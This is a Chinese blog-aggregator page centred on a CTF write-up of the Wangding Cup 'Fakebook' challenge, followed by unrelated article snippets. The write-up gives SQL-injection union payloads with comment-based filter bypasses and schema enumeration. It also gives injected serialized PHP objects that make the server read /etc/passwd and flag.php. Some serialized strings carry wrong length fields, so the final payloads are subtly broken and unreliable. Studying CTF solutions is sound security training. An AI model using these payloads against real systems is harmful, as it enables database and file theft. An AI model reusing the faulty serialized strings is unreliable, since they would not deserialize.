news 2026/6/11 11:16:18

CTF解题复盘:当SQL注入遇到PHP反序列化,我是如何拿下网鼎杯Fakebook这道题的

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF解题复盘:当SQL注入遇到PHP反序列化,我是如何拿下网鼎杯Fakebook这道题的

从SQL注入到反序列化:一次Fakebook漏洞利用的思维跃迁

那是个闷热的下午,我盯着BUUCTF平台上那道名为Fakebook的题目已经两个小时了。作为网鼎杯的经典赛题,它表面看起来只是个普通的社交网站——用户列表、个人主页,甚至还有博客展示功能。但当我尝试用常规方法突破时,却像撞进了一张精心编织的蛛网。

1. 初探:SQL注入的迷雾

在view.php页面,no参数立刻引起了我的注意。输入1'后经典的报错信息跳出来:

Warning: mysqli_fetch_array()...

这明显存在SQL注入漏洞!但当我尝试常规闭合方式时:

?no=1' -- - ?no=1' and 1=1 --+

服务器却像被施了魔法般毫无反应。直到尝试数字型注入:

?no=1 and 1=1 --+ ?no=1 and 1=2 --+

页面内容终于出现了差异——典型的数字型注入特征。通过order by测试确认存在4个字段后,我构造了联合查询:

?no=-1 union select 1,2,3,4 --+

但页面只返回了空白。这时我意识到可能有过滤机制,于是改用内联注释绕过:

?no=-1/**/union/**/select/**/1,2,3,4 --+

第二字段终于作为回显点出现在页面中,就像黑暗中的萤火虫。

2. 深入:非常规字段的启示

通过注入获取数据库信息的过程堪称教科书式:

?no=-1/**/union/**/select/**/1,database(),3,4 --+ # 库名fakebook ?no=-1/**/union/**/select/**/1,(select group_concat(column_name) from information_schema.columns where table_schema='fakebook' and table_name='users'),3,4 --+ # 字段no,username,passwd,data

但当查看data字段内容时,出现了奇怪的现象:

?no=-1/**/union/**/select/**/1,(select data from users limit 0,1),3,4 --+

返回的竟是类似O:8:"UserInfo":3:{s:4:"name"...的序列化字符串!这种在数据库存储序列化对象的做法,立刻让我联想到可能的反序列化漏洞。

3. 转折:源码审计的意外收获

通过robots.txt发现了关键的源码文件user.php,其中UserInfo类的设计令人玩味:

class UserInfo { public $blog = ""; public function getBlogContents() { return $this->get($this->blog); } private function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); //...其他curl配置 } }

特别值得注意的是getBlogContents方法会直接访问blog属性指定的URL。而data字段正好存储着序列化的UserInfo对象——这意味着如果我们能控制反序列化内容,就可能实现SSRF攻击。

4. 突破:漏洞链的完美拼接

我编写了PHP脚本构造恶意序列化数据:

$obj = new UserInfo("hacker", 20, "file:///etc/passwd"); echo serialize($obj);

得到payload后,通过SQL注入将其植入数据库:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"hacker";s:3:"age";i:20;s:4:"blog";s:17:"file:///etc/passwd";}' --+

刷新页面后查看源码,发现iframe标签成功加载了本地文件内容。最终通过修改路径获取flag:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"hacker";s:3:"age";i:20;s:4:"blog";s:22:"file:///var/www/html/flag.php";}' --+

这次经历最珍贵的不是最终获取的flag,而是解题过程中思维的几次关键跃迁:从简单的注入测试到发现异常数据,从源码审计到漏洞链构造。这种将不同漏洞组合利用的思路,远比单一漏洞的利用更能体现安全研究的精髓。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/11 11:14:08

Monitorian 终极指南:如何轻松管理多显示器亮度

Monitorian 终极指南:如何轻松管理多显示器亮度 【免费下载链接】Monitorian A Windows desktop tool to adjust the brightness of multiple monitors with ease 项目地址: https://gitcode.com/gh_mirrors/mo/Monitorian Monitorian 是一款功能强大的 Wind…

作者头像 李华
网站建设 2026/6/11 11:01:49

35张实拍图:电脑设备与铜质零件图像识别训练用原始素材

本文还有配套的精品资源,点击获取 简介:这个图像素材包包含35张真实场景下拍摄的JPG图片,明确分为两类——27张电脑相关实物图(主机、显示器、键盘、鼠标等常见外设与整机),以及8张铜质零部件图&#xf…

作者头像 李华
网站建设 2026/6/11 11:00:34

3步解决腾讯游戏卡顿:sguard_limit终极优化指南

3步解决腾讯游戏卡顿:sguard_limit终极优化指南 【免费下载链接】sguard_limit 限制ACE-Guard Client EXE占用系统资源,支持各种腾讯游戏 项目地址: https://gitcode.com/gh_mirrors/sg/sguard_limit 你是否在玩腾讯游戏时经常遇到莫名其妙的卡顿…

作者头像 李华
网站建设 2026/6/11 10:55:30

eNSP实战:USG6000V防火墙NAT64配置与双栈网络互通详解

1. 为什么需要NAT64技术 第一次接触NAT64时,我也被这个技术名词搞得一头雾水。简单来说,NAT64就像是IPv6和IPv4网络之间的"翻译官"。随着IPv6的普及,我们经常会遇到一个尴尬的情况:新部署的IPv6设备需要访问老旧的IPv4资…

作者头像 李华
网站建设 2026/6/11 10:54:29

PCIe RAS:从硬件错误到系统恢复的完整链路解析

1. PCIe RAS机制的核心价值 当你在数据中心维护服务器集群时,突然收到某台机器的PCIe设备异常告警,这时候PCIe RAS机制就像一位经验丰富的"急诊医生"。这套机制不仅能快速诊断出硬件错误的具体类型,还能根据病情严重程度采取不同的…

作者头像 李华